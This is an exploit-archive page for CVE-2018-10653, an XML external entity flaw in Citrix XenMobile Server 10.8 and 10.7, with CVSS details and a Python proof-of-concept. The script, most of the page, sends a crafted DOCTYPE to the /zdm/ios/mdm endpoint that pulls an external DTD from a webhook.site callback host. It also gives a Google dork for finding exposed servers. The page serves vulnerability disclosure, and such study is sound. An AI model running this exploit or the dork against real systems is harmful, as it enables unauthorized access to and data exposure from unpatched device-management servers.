Citrix XenMobile Server 10.8 XML External Entity Injection

2020.01.31
Credit: Jonas Lejon
Risk: High
Local: No
Remote: Yes
CWE: CWE-611


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Citrix XenMobile Server 10.8 - XML External Entity Injection # Google Dork: inurl:zdm logon # Date: 2019-11-28 # Exploit Author: Jonas Lejon # Vendor Homepage: https://www.citrix.com # Software Link: # Version: XenMobile Server 10.8 before RP2 and 10.7 before RP3 # Tested on: XenMobile # CVE : CVE-2018-10653 #!/usr/bin/python3 ## ## PoC exploit test for the security vulnerability CVE-2018-10653 in XenMobile Server 10.8 before RP2 and 10.7 before RP3 ## ## This PoC was written by Jonas Lejon 2019-11-28 <jonas.xenmobile@triop.se> https://triop.se ## Reported to Citrix 2017-10, patch released 2018-05 ## import requests import sys from pprint import pprint import uuid # Surf to https://webhook.site and copy/paste the URL below. Used for XXE callback WEBHOOK = "https://webhook.site/310d8cd9-ebd3-xxx-xxxx-xxxxxx/" id = str(uuid.uuid1()) xml = '''<?xml version="1.0" encoding="UTF-8" standalone='no'?><!DOCTYPE plist [<!ENTITY % j00t9 SYSTEM "''' + WEBHOOK + id + '''/test.dtd">%j00t9; ]>''' print(id) response = requests.put(sys.argv[1] + '/zdm/ios/mdm', verify=False, headers= {'User-Agent': 'MDM/1.0', 'Connection': 'close', 'Content-Type': 'application/x-apple-aspen-mdm'}, data=xml,stream=True ) print(response.content) print(response.text) pprint(response)


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top